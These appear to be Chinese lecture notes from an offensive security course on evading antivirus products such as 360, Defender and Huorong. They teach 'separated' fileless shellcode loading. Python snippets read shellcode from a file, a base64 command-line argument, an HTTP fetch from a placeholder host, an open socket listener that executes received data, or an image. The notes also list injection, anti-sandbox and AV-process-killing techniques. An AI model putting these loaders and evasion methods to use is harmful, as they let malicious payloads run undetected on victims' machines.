知识点
1 、无文件落地& 分离拆分-将shellcode从文本中提取-file
2 、无文件落地& 分离拆分-将shellcode与加载器分离-argv
3 、无文件落地& 分离拆分-将shellcode远程协议加载-http
4 、无文件落地& 分离拆分-将shellcode通过管道传输-socket
5 、无文件落地& 分离拆分-将shellcode隐写进图片内-images
编译代码面-ShellCode-混淆
编译代码面-编辑执行器-编写
编译代码面-分离加载器-编写
程序文件面-特征码定位-修改
程序文件面-加壳花指令-资源
代码加载面-Dll反射劫持-加载
权限逻辑面-杀毒进程干扰-结束
工具数据面-通讯内存流量-动态
对抗目标:
X60 Defender 某绒 管家 VT等
编程语言:
C/C++ Python C
涉及技术:
ShellCode混淆加密,无文件落地,分离拆分,白名单,DLL加载,Syscall,加壳加花,
资源修改,特征修改,二次开发CS,内存休眠,进程注入,反沙盒,反调试,CDN解析等
演示案例
1 、Python-File-将shellcode从文本中提取
2 、Python-Argv-将shellcode与加载器分离
3 、Python-Http-将shellcode用远程协议加载
4 、Python-Socket-将shellcode通过管道传输
5 、Python-Images-将shellcode隐写进图片内
内存免杀是将shellcode直接加载进内存,由于没有文件落地,因此可以绕过文件扫描策略的查杀。为了使内存免杀的效果更好,在申请内存时一般采用渐进式申请一块可读写内存,在运行时改为可执行,在执行的时候遵循分离免杀的思想。分离免杀包含对特征和行为的分离两个维度,把shellcode从放在程序转移到加载进内存,把整块的shellcode通过分块传输的方法上传然后再拼接,这些体现了基本的”分离“思想。
with open( 's.txt' ,'r' ) as f:
s = f.read( )
核心代码:
z = sys.argv[ 1 ]
zx = base64.b64decode( z)
exec( zx)
核心代码:
all = requests.get( 'http://www.xxxx.com/all.txt' ) .text
参考:https://www.cnblogs.com/Keep-Ambition/p/7459213.html
def zx( data) :
执行code
server = socket.socket( )
server.bind(( "0.0 .0 .0 ", 9999 ))
server.listen( 5 )
while True:
conn,addr = server.accept( )
while True:
data = conn.recv( 1024 )
zx( data)
参考:https://mp.weixin.qq.com/s/c8U2M_iJ8pWaI50sH8u9Hw
加密:RGBAencodeDataInImage( im, arguments[ '<text>' ] ) .save( arguments[ '<encodedImage>' ] )
解密:im = Image.open( arguments[ '<encodedImage>' ] )
总结
之前的课程讲了C/C++、Python、C
现在讲的是"无文件落地&分离拆分" 的免杀,目的是让杀软即使反编译逆向,也无法在源代码中直接看到shellcode
具体可以通过以下几种方式实现:
1 . 将shellcode从文本中提取-file(有程序执行、shellcode存储两个文件,执行时加载shellcode到程序执行文件)
2 . 将shellcode与加载器分离-argv(把shellcode放到参数上去接收运行)
3 . 将shellcode远程协议加载-http(请求加载远程主机上存有shellcode的文件)
4 . 将shellcode通过管道传输-socket(建立一个socket连接,在管道里传入shellcode)
5 . 将shellcode隐写进图片内-images(把shellcode藏到正常的图片中去,但也能正常提取)
注意:shellcode不在程序本身,而是从外部(文本、参数、远程加载等)获取的,在执行时会加载入内存
分离免杀之所以能获得很好的效果就是因为shellcode加载器本身并不包含恶意代码,自然也不会包含恶意软件的特征码,
而只有当加载器运行时,它才会从程序之外加载shellcode执行,通过这种方式能够有效避免基于特征码的查杀方式,当然也是偏静态的